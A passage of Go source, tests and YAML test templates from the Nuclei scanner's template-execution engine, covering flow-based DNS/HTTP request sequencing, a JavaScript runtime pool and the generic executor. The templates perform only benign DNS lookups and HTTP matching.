Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\ttarget := contextargs.NewWithInput(context.Background(), \"hackerone.com\")\n\tctx := scan.NewScanContext(context.Background(), target)\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestFlowWithProtoPrefix(t *testing.T) {\n\t// test\n\tsetup()\n\n\t// apart from parse->compile->execution this testcase checks\n\t// mix of custom protocol request id and index is supported in js\n\t// and also validates availability of protocol response variables in template context\n\tTemplate, err := templates.Parse(\"testcases/nuclei-flow-dns-prefix.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"hackerone.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestFlowWithConditionNegative(t *testing.T) {\n\tsetup()\n\n\t// apart from parse->compile->execution this testcase checks\n\t// if bitwise operator (&&) are properly executed and working\n\tTemplate, err := templates.Parse(\"testcases/condition-flow.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"scanme.sh\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\t// expect no results and verify that dns request is executed and http is not\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.False(t, gotresults)\n}\n\nfunc TestFlowWithConditionPositive(t *testing.T) {\n\tsetup()\n\n\t// apart from parse->compile->execution this testcase checks\n\t// if bitwise operator (&&) are properly executed and working\n\tTemplate, err := templates.Parse(\"testcases/condition-flow.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"cloud.projectdiscovery.io\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\t// positive match . expect results also verify that both dns() and http() were executed\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestFlowWithNoMatchers(t *testing.T) {\n\tsetup()\n\t// when using conditional flow with no matchers at all\n\t// we implicitly assume that request was successful and internally changed the result to true (for scope of condition only)\n\n\tTemplate, err := templates.Parse(\"testcases/condition-flow-no-operators.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tanotherInput := contextargs.NewWithInput(context.Background(), \"cloud.projectdiscovery.io\")\n\tanotherCtx := scan.NewScanContext(context.Background(), anotherInput)\n\t// positive match . expect results also verify that both dns() and http() were executed\n\tgotresults, err := Template.Executer.Execute(anotherCtx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n\n\tt.Run(\"Contains Extractor\", func(t *testing.T) {\n\t\tTemplate, err := templates.Parse(\"testcases/condition-flow-extractors.yaml\", nil, executerOpts)\n\t\trequire.Nil(t, err, \"could not parse template\")\n\n\t\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\t\terr = Template.Executer.Compile()\n\t\trequire.Nil(t, err, \"could not compile template\")\n\n\t\tinput := contextargs.NewWithInput(context.Background(), \"scanme.sh\")\n\t\tctx := scan.NewScanContext(context.Background(), input)\n\t\t// positive match . expect results also verify that both dns() and http() were executed\n\t\tgotresults, err := Template.Executer.Execute(ctx)\n\t\trequire.Nil(t, err, \"could not execute template\")\n\t\trequire.True(t, gotresults)\n\t})\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/flow_internal.go",
    "content": "package flow\n\nimport (\n\t\"fmt\"\n\t\"sync/atomic\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// contains all internal/unexported methods of flow\n\n// requestExecutor executes a protocol/request and returns true if any matcher was found\nfunc (f *FlowExecutor) requestExecutor(runtime *goja.Runtime, reqMap mapsutil.Map[string, protocols.Request], opts *ProtoOptions) bool {\n\tdefer func() {\n\t\t// evaluate all variables after execution of each protocol\n\t\tvariableMap := f.options.Variables.Evaluate(f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll())\n\t\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Merge(variableMap) // merge all variables into template context\n\n\t\t// to avoid polling update template variables everytime we execute a protocol\n\t\tm := f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll()\n\t\t_ = runtime.Set(\"template\", m)\n\t}()\n\tmatcherStatus := &atomic.Bool{} // due to interactsh matcher polling logic this needs to be atomic bool\n\t// if no id is passed execute all requests in sequence\n\tif len(opts.reqIDS) == 0 {\n\t\t// execution logic for http()/dns() etc\n\t\tfor index := range f.allProtocols[opts.protoName] {\n\t\t\treq := f.allProtocols[opts.protoName][index]\n\t\t\t// transform input if required\n\t\t\tinputItem := f.ctx.Input.Clone()\n\t\t\tif f.options.InputHelper != nil && f.ctx.Input.MetaInput.Input != \"\" {\n\t\t\t\tif inputItem.MetaInput.Input = f.options.InputHelper.Transform(inputItem.MetaInput.Input, req.Type()); inputItem.MetaInput.Input == \"\" {\n\t\t\t\t\tf.ctx.LogError(fmt.Errorf(\"failed to transform input for protocol %s\", req.Type()))\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t\terr := req.ExecuteWithResults(inputItem, output.InternalEvent(f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll()), output.InternalEvent{}, f.protocolResultCallback(req, matcherStatus, opts))\n\t\t\tif err != nil {\n\t\t\t\t// save all errors in a map with id as key\n\t\t\t\t// its less likely that there will be race condition but just in case\n\t\t\t\tid := req.GetID()\n\t\t\t\tif id == \"\" {\n\t\t\t\t\tid, _ = reqMap.GetKeyWithValue(req)\n\t\t\t\t}\n\t\t\t\terr = f.allErrs.Set(opts.protoName+\":\"+id, err)\n\t\t\t\tif err != nil {\n\t\t\t\t\tf.ctx.LogError(fmt.Errorf(\"failed to store flow runtime errors got %v\", err))\n\t\t\t\t}\n\t\t\t\treturn matcherStatus.Load()\n\t\t\t}\n\t\t}\n\t\treturn matcherStatus.Load()\n\t}\n\n\t// execution logic for http(\"0\") or http(\"get-aws-vpcs\")\n\tfor _, id := range opts.reqIDS {\n\t\treq, ok := reqMap[id]\n\t\tif !ok {\n\t\t\tf.ctx.LogError(fmt.Errorf(\"[%v] invalid request id '%s' provided\", f.options.TemplateID, id))\n\t\t\t// compile error\n\t\t\tif err := f.allErrs.Set(opts.protoName+\":\"+id, errkit.Newf(\"[%s] invalid request id '%s' provided\", f.options.TemplateID, id)); err != nil {\n\t\t\t\tf.ctx.LogError(fmt.Errorf(\"failed to store flow runtime errors got %v\", err))\n\t\t\t}\n\t\t\treturn matcherStatus.Load()\n\t\t}\n\t\t// transform input if required\n\t\tinputItem := f.ctx.Input.Clone()\n\t\tif f.options.InputHelper != nil && f.ctx.Input.MetaInput.Input != \"\" {\n\t\t\tif inputItem.MetaInput.Input = f.options.InputHelper.Transform(inputItem.MetaInput.Input, req.Type()); inputItem.MetaInput.Input == \"\" {\n\t\t\t\tf.ctx.LogError(fmt.Errorf(\"failed to transform input for protocol %s\", req.Type()))\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\terr := req.ExecuteWithResults(inputItem, output.InternalEvent(f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll()), output.InternalEvent{}, f.protocolResultCallback(req, matcherStatus, opts))\n\t\t// Mark the request as seen\n\t\t_ = f.executed.Set(requestKey(opts.protoName, req, id), struct{}{})\n\t\tif err != nil {\n\t\t\tindex := id\n\t\t\terr = f.allErrs.Set(opts.protoName+\":\"+index, err)\n\t\t\tif err != nil {\n\t\t\t\tf.ctx.LogError(fmt.Errorf(\"failed to store flow runtime errors got %v\", err))\n\t\t\t}\n\t\t}\n\t}\n\treturn matcherStatus.Load()\n}\n\nfunc requestKey(proto string, req protocols.Request, id string) string {\n\tif id == \"\" {\n\t\tid = req.GetID()\n\t}\n\treturn proto + \":\" + id\n}\n\n// protocolResultCallback returns a callback that is executed\n// after execution of each protocol request\nfunc (f *FlowExecutor) protocolResultCallback(req protocols.Request, matcherStatus *atomic.Bool, _ *ProtoOptions) func(result *output.InternalWrappedEvent) {\n\treturn func(result *output.InternalWrappedEvent) {\n\t\tif result != nil {\n\t\t\t// Note: flow specific implicit behaviours should be handled here\n\t\t\t// before logging the event\n\t\t\tf.ctx.LogEvent(result)\n\t\t\t// export dynamic values from operators (i.e internal:true)\n\t\t\t// add add it to template context\n\t\t\t// this is a conflicting behaviour with iterate-all\n\t\t\tif result.HasOperatorResult() {\n\t\t\t\tf.results.CompareAndSwap(false, true)\n\t\t\t\t// this is to handle case where there is any operator result (matcher or extractor)\n\t\t\t\tmatcherStatus.CompareAndSwap(false, result.OperatorsResult.Matched)\n\t\t\t\tif !result.OperatorsResult.Matched && !hasMatchers(req.GetCompiledOperators()) {\n\t\t\t\t\t// if matcher status is false . check if template/request contains any matcher at all\n\t\t\t\t\t// if it does then we need to set matcher status to true\n\t\t\t\t\tmatcherStatus.CompareAndSwap(false, true)\n\t\t\t\t}\n\t\t\t\tif len(result.OperatorsResult.DynamicValues) > 0 {\n\t\t\t\t\tfor k, v := range result.OperatorsResult.DynamicValues {\n\t\t\t\t\t\t// if length of v is 1 then remove slice and convert it to single value\n\t\t\t\t\t\tif len(v) == 1 {\n\t\t\t\t\t\t\t// add it to flatten keys list so it will be flattened to a string later\n\t\t\t\t\t\t\tf.flattenKeys = append(f.flattenKeys, k)\n\t\t\t\t\t\t\t// flatten and convert it to string\n\t\t\t\t\t\t\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Set(k, v[0])\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// keep it as slice\n\t\t\t\t\t\t\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Set(k, v)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if !result.HasOperatorResult() && !hasOperators(req.GetCompiledOperators()) {\n\t\t\t\t// this is to handle case where there are no operator result and there was no matcher in operators\n\t\t\t\t// if matcher status is false . check if template/request contains any matcher at all\n\t\t\t\t// if it does then we need to set matcher status to true\n\t\t\t\tmatcherStatus.CompareAndSwap(false, true)\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/testcases/condition-flow-extractors.yaml",
    "content": "id: condition-flow-extractors\ninfo:\n  name: Condition Flow Extractors\n  author: pdteam\n  severity: info\n\nflow: dns() && http()\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: A\n\n    extractors:\n      - type: dsl\n        name: a\n        internal: true\n        dsl:\n          - a\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?ref={{a}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"ok\""
  },
  {
    "path": "pkg/tmplexec/flow/testcases/condition-flow-no-operators.yaml",
    "content": "id: condition-flow-no-operators\ninfo:\n  name: Condition Flow No Operators\n  author: pdteam\n  severity: info\n\nflow: dns() && http()\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?ref={{dns_cname}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"html>\""
  },
  {
    "path": "pkg/tmplexec/flow/testcases/condition-flow.yaml",
    "content": "id: vercel-hosted-detection\ninfo:\n  name: Vercel-hosted detection\n  author: pdteam\n  severity: info\n\n\nflow: dns() && http()\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n\n    matchers:\n      - type: word\n        words:\n          - \"vercel-dns\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{dns_cname}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"DEPLOYMENT_NOT_FOUND\""
  },
  {
    "path": "pkg/tmplexec/flow/testcases/nuclei-flow-dns-id.yaml",
    "content": "id: nuclei-flow-dns\n\ninfo:\n  name: Nuclei flow dns\n  author: pdteam\n  severity: info\n  description: Description of the Template\n  reference: https://example-reference-link\n\nflow: |\n  dns(\"fetch-ns\");\n  template[\"nameservers\"].forEach(nameserver => {\n    set(\"nameserver\",nameserver);\n    dns(\"probe-ns\");\n  });\n\ndns:\n  - id: \"fetch-ns\"\n    name: \"{{FQDN}}\"\n    type: NS\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tNS\"\n    extractors:\n      - type: regex\n        internal: true\n        name: \"nameservers\"\n        group: 1\n        regex:\n          - \"IN\\tNS\\t(.+)\"\n\n  - id: \"probe-ns\"\n    name: \"{{nameserver}}\"\n    type: A\n    class: inet\n    retries: 3\n    recursion: true\n    extractors:\n      - type: dsl\n        dsl:\n          - \"a\""
  },
  {
    "path": "pkg/tmplexec/flow/testcases/nuclei-flow-dns-prefix.yaml",
    "content": "id: nuclei-flow-dns\n\ninfo:\n  name: Nuclei flow dns\n  author: pdteam\n  severity: info\n  description: Description of the Template\n  reference: https://example-reference-link\n\nflow: |\n  dns(1);\n  template[\"nameservers\"].forEach(nameserver => {\n    set(\"nameserver\",nameserver);\n    dns(\"probe-ns\");\n  });\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: NS\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tNS\"\n    extractors:\n      - type: regex\n        internal: true\n        name: \"nameservers\"\n        group: 1\n        regex:\n          - \"IN\\tNS\\t(.+)\"\n\n  - id: \"probe-ns\"\n    name: \"{{nameserver}}\"\n    type: A\n    class: inet\n    retries: 3\n    recursion: true\n    extractors:\n      - type: dsl\n        dsl:\n          - \"a\""
  },
  {
    "path": "pkg/tmplexec/flow/testcases/nuclei-flow-dns.yaml",
    "content": "id: nuclei-flow-dns\n\ninfo:\n  name: Nuclei flow dns\n  author: pdteam\n  severity: info\n  description: Description of the Template\n  reference: https://example-reference-link\n\nflow: |\n  dns(1);\n  template[\"nameservers\"].forEach(nameserver => {\n    set(\"nameserver\",nameserver);\n    dns(2);\n  });\n  \ndns:\n  - name: \"{{FQDN}}\"\n    type: NS\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tNS\"\n    extractors:\n      - type: regex\n        internal: true\n        name: \"nameservers\"\n        group: 1\n        regex:\n          - \"IN\\tNS\\t(.+)\"\n\n  - name: \"{{nameserver}}\"\n    type: A\n    class: inet\n    retries: 3\n    recursion: true\n    extractors:\n      - type: dsl\n        dsl:\n          - \"a\""
  },
  {
    "path": "pkg/tmplexec/flow/util.go",
    "content": "package flow\n\nimport \"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\n// Checks if template has matchers\nfunc hasMatchers(all []*operators.Operators) bool {\n\tfor _, operator := range all {\n\t\tif operator != nil && len(operator.Matchers) > 0 {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// hasOperators checks if template has operators (i.e matchers/extractors)\nfunc hasOperators(all []*operators.Operators) bool {\n\tfor _, operator := range all {\n\t\tif operator != nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc flatten(v interface{}) interface{} {\n\tswitch v := v.(type) {\n\tcase []interface{}:\n\t\tif len(v) == 1 {\n\t\t\treturn v[0]\n\t\t}\n\t\treturn v\n\tcase []string:\n\t\tif len(v) == 1 {\n\t\t\treturn v[0]\n\t\t}\n\t\treturn v\n\tdefault:\n\t\treturn v\n\t}\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/util_test.go",
    "content": "package flow\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHasMatchersPanicRegression(t *testing.T) {\n\t// This test ensures that hasMatchers does not panic when passed a slice containing nil.\n\t// This was the source of a reported panic when a request had no local operators.\n\n\trequire.NotPanics(t, func() {\n\t\tall := []*operators.Operators{nil}\n\t\tresult := hasMatchers(all)\n\t\trequire.False(t, result)\n\t}, \"hasMatchers should not panic with nil element in slice\")\n\n\trequire.NotPanics(t, func() {\n\t\tall := []*operators.Operators{nil, {}}\n\t\tresult := hasMatchers(all)\n\t\trequire.False(t, result)\n\t}, \"hasMatchers should not panic with mix of nil and empty operators\")\n}\n\nfunc TestHasOperatorsPanicRegression(t *testing.T) {\n\t// Also ensure hasOperators is safe\n\trequire.NotPanics(t, func() {\n\t\tall := []*operators.Operators{nil}\n\t\tresult := hasOperators(all)\n\t\trequire.False(t, result)\n\t}, \"hasOperators should not panic with nil element in slice\")\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/vm.go",
    "content": "package flow\n\nimport (\n\t\"context\"\n\t\"reflect\"\n\t\"sync\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/sync/sizedpool\"\n)\n\nvar jsOnce sync.Once\n\n// js runtime pool using sync.Pool\nvar gojapool = &sync.Pool{\n\tNew: func() interface{} {\n\t\truntime := protocolstate.NewJSRuntime()\n\t\tregisterBuiltins(runtime)\n\t\treturn runtime\n\t},\n}\n\nvar sizedgojapool *sizedpool.SizedPool[*goja.Runtime]\n\n// GetJSRuntime returns a new JS runtime from pool\nfunc GetJSRuntime(opts *types.Options) *goja.Runtime {\n\tjsOnce.Do(func() {\n\t\tif opts.JsConcurrency < 100 {\n\t\t\topts.JsConcurrency = 100\n\t\t}\n\t\tsizedgojapool, _ = sizedpool.New(\n\t\t\tsizedpool.WithPool[*goja.Runtime](gojapool),\n\t\t\tsizedpool.WithSize[*goja.Runtime](int64(opts.JsConcurrency)),\n\t\t)\n\t})\n\truntime, _ := sizedgojapool.Get(context.TODO())\n\treturn runtime\n}\n\n// PutJSRuntime returns a JS runtime to pool\nfunc PutJSRuntime(runtime *goja.Runtime, reuse bool) {\n\tif reuse {\n\t\tsizedgojapool.Put(runtime)\n\t} else {\n\t\tsizedgojapool.Put(gojapool.Get().(*goja.Runtime))\n\t}\n}\n\nfunc registerBuiltins(runtime *goja.Runtime) {\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"log\",\n\t\tDescription: \"Logs a given object/message to stdout (only for debugging purposes)\",\n\t\tSignatures: []string{\n\t\t\t\"log(obj any) any\",\n\t\t},\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\targ := call.Argument(0).Export()\n\t\t\tswitch value := arg.(type) {\n\t\t\tcase string:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), value)\n\t\t\tcase map[string]interface{}:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), vardump.DumpVariables(value))\n\t\t\tdefault:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), value)\n\t\t\t}\n\t\t\treturn call.Argument(0) // return the same value\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"iterate\",\n\t\tDescription: \"Normalizes and Iterates over all arguments (can be a string,array,null etc) and returns an array of objects\\nNote: If the object type is unknown(i.e could be a string or array) iterate should be used and it will always return an array of strings\",\n\t\tSignatures: []string{\n\t\t\t\"iterate(...any) []any\",\n\t\t},\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tallVars := []any{}\n\t\t\tfor _, v := range call.Arguments {\n\t\t\t\tif v.Export() == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif v.ExportType().Kind() == reflect.Slice {\n\t\t\t\t\t// convert []datatype to []interface{}\n\t\t\t\t\t// since it cannot be type asserted to []interface{} directly\n\t\t\t\t\trfValue := reflect.ValueOf(v.Export())\n\t\t\t\t\tfor i := 0; i < rfValue.Len(); i++ {\n\t\t\t\t\t\tallVars = append(allVars, rfValue.Index(i).Interface())\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tallVars = append(allVars, v.Export())\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn runtime.ToValue(allVars)\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"Dedupe\",\n\t\tDescription: \"De-duplicates given values and returns a new array of unique values\",\n\t\tSignatures: []string{\n\t\t\t\"new Dedupe()\",\n\t\t},\n\t\tFuncDecl: func(call goja.ConstructorCall) *goja.Object {\n\t\t\td := builtin.NewDedupe(runtime)\n\t\t\tobj := call.This\n\t\t\t// register these methods\n\t\t\t_ = obj.Set(\"Add\", d.Add)\n\t\t\t_ = obj.Set(\"Values\", d.Values)\n\t\t\treturn nil\n\t\t},\n\t})\n\n}\n"
  },
  {
    "path": "pkg/tmplexec/generic/exec.go",
    "content": "package generic\n\nimport (\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// generic engine as name suggests is a generic template\n// execution engine and executes all requests one after another\n// without any logic in between\ntype Generic struct {\n\trequests []protocols.Request\n\toptions  *protocols.ExecutorOptions\n\tresults  *atomic.Bool\n}\n\n// NewGenericEngine creates a new generic engine from a list of requests\nfunc NewGenericEngine(requests []protocols.Request, options *protocols.ExecutorOptions, results *atomic.Bool) *Generic {\n\tif results == nil {\n\t\tresults = &atomic.Bool{}\n\t}\n\treturn &Generic{requests: requests, options: options, results: results}\n}\n\n// Compile engine specific compilation\nfunc (g *Generic) Compile() error {\n\t// protocol/ request is already handled by template executer\n\treturn nil\n}\n\n// ExecuteWithResults executes the template and returns results\nfunc (g *Generic) ExecuteWithResults(ctx *scan.ScanContext) error {\n\tdynamicValues := make(map[string]interface{})\n\tif ctx.Input.HasArgs() {\n\t\tctx.Input.ForEach(func(key string, value interface{}) {\n\t\t\tdynamicValues[key] = value\n\t\t})\n\t}\n\tprevious := mapsutil.NewSyncLockMap[string, any]()\n\n\tfor _, req := range g.requests {\n\t\tselect {\n\t\tcase <-ctx.Context().Done():\n\t\t\treturn ctx.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\tinputItem := ctx.Input.Clone()\n\t\tif g.options.InputHelper != nil && ctx.Input.MetaInput.Input != \"\" {\n\t\t\tif inputItem.MetaInput.Input = g.options.InputHelper.Transform(inputItem.MetaInput.Input, req.Type()); inputItem.MetaInput.Input == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\n\t\terr := req.ExecuteWithResults(inputItem, dynamicValues, output.InternalEvent(previous.GetAll()), func(event *output.InternalWrappedEvent) {\n\t\t\t// this callback is not concurrent safe so mutex should be used to synchronize\n\t\t\tif event == nil {\n\t\t\t\t// ideally this should never happen since protocol exits on error and callback is not called\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tutils.FillPreviousEvent(req.GetID(), event, previous)\n\n\t\t\tif event.HasOperatorResult() {\n\t\t\t\tg.results.CompareAndSwap(false, true)\n\t\t\t}\n\t\t\t// for ExecuteWithResults : this callback will execute user defined callback and some error handling\n\t\t\t// for Execute : this callback will print the result to output\n\t\t\tctx.LogEvent(event)\n\t\t})\n\t\tif err != nil {\n\t\t\tctx.LogError(err)\n\t\t\tgologger.Warning().Msgf(\"[%s] Could not execute request for %s: %s\\n\", g.options.TemplateID, ctx.Input.MetaInput.PrettyPrint(), err)\n\t\t}\n\t\tif g.options.HostErrorsCache != nil {\n\t\t\tg.options.HostErrorsCache.MarkFailedOrRemove(g.options.ProtocolType.String(), ctx.Input, err)\n\t\t}\n\t\t// If a match was found and stop at first match is set, break out of the loop and return\n\t\tif g.results.Load() && (g.options.StopAtFirstMatch || g.options.Options.StopAtFirstMatch) {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}\n\n// Type returns the type of engine\nfunc (g *Generic) Name() string {\n\treturn \"generic\"\n}\n"
  },
  {
    "path": "pkg/tmplexec/interface.go",
    "content": "package tmplexec\n\nimport (\n\t\"errors\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar (\n\t_ TemplateEngine = &generic.Generic{}\n\t_ TemplateEngine = &flow.FlowExecutor{}\n\t_ TemplateEngine = &multiproto.MultiProtocol{}\n)\n\n// TemplateEngine is a template executor with different functionality\n// Ex:\n// 1. generic => executes all protocol requests one after another (Done)\n// 2. flow  => executes protocol requests based on how they are defined in flow (Done)\n// 3. multiprotocol => executes multiple protocols in parallel (Done)\ntype TemplateEngine interface {\n\t// Note: below methods only need to implement extra / engine specific functionality\n\t// basic request compilation , callbacks , cli output callback etc are handled by `TemplateExecuter` and no need to do it again\n\t// Extra Compilation (if any)\n\tCompile() error\n\n\t// ExecuteWithResults executes the template and returns results\n\tExecuteWithResults(ctx *scan.ScanContext) error\n\n\t// Name returns name of template engine\n\tName() string\n}\n\nvar (\n\t// A temporary fix to remove errKind from error message\n\t// this is because errkit is not used everywhere yet\n\treNoKind = regexp.MustCompile(`([\\[][^][]+[\\]]|errKind=[^ ]+) `)\n)\n\n// parseScanError parses given scan error and only returning the cause\n// instead of inefficient one\nfunc parseScanError(msg string) string {\n\tif msg == \"\" {\n\t\treturn \"\"\n\t}\n\tif strings.HasPrefix(msg, \"ReadStatusLine:\") {\n\t\t// last index is actual error (from rawhttp)\n\t\tparts := strings.Split(msg, \":\")\n\t\tmsg = strings.TrimSpace(parts[len(parts)-1])\n\t}\n\tif strings.Contains(msg, \"read \") {\n\t\t// same here\n\t\tparts := strings.Split(msg, \":\")\n\t\tmsg = strings.TrimSpace(parts[len(parts)-1])\n\t}\n\te := errkit.FromError(errors.New(msg))\n\tfor _, err := range e.Errors() {\n\t\tif err != nil && strings.Contains(err.Error(), \"context deadline exceeded\") {\n\t\t\tcontinue\n\t\t}\n\t\tmsg = reNoKind.ReplaceAllString(err.Error(), \"\")\n\t\treturn msg\n\t}\n\twrapped := errkit.Append(errkit.New(\"failed to get error cause\"), e).Error()\n\treturn reNoKind.ReplaceAllString(wrapped, \"\")\n}\n"
  },
  {
    "path": "pkg/tmplexec/multiproto/README.md",
    "content": "## multi protocol execution\n\n### Implementation\nwhen template is unmarshalled, if it uses more than one protocol, then order of protocols is preserved and is same is passed to Executor\nmultiproto is engine/backend for TemplateExecutor which takes care of sharing logic between protocols and executing them in order\n\n### Execution\nwhen multiprotocol template is executed , all protocol requests present in Queue are executed in order\nand dynamic values extracted are added to template context.\n\n- Protocol Responses\napart from extracted `internal:true` values response fields/values of protocol are added to template context at `ExecutorOptions.TemplateCtx`\nwhich takes care of sync and other issues if any. all response fields are prefixed with template type prefix ex: `ssl_subject_dn`\n\n### Adding New Protocol to multiprotocol execution logic\nwhile logic/implementation of multiprotocol execution is abstracted. it requires 3 statements to be added in newly implemented protocol\nto make response fields of that protocol available to global context\n\n- Add `request.options.GetTemplateCtx(f.input.MetaInput).GetAll()` to variablesMap in `ExecuteWithResults` Method just above `request.options.Variables.Evaluate`\n```go\n// example\n\tvalues := generators.MergeMaps(payloadValues, hostnameVariables, request.options.GetTemplateCtx(f.input.MetaInput).GetAll())\n\tvariablesMap := request.options.Variables.Evaluate(values)\n```\n\n- Add all response fields to template context just after response map is available\n```go\n\toutputEvent := request.responseToDSLMap(compiledRequest, response, domain, question, traceData)\n\t// expose response variables in proto_var format\n\t// this is no-op if the template is not a multi protocol template\n\trequest.options.AddTemplateVars(request.Type(),request.ID, outputEvent)\n```\n\n- Append all available template context values to outputEvent\n```go\n\t// add variables from template context before matching/extraction\n\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(f.input.MetaInput).GetAll())\n```\n\nadding these 3 statements takes care of all logic related to 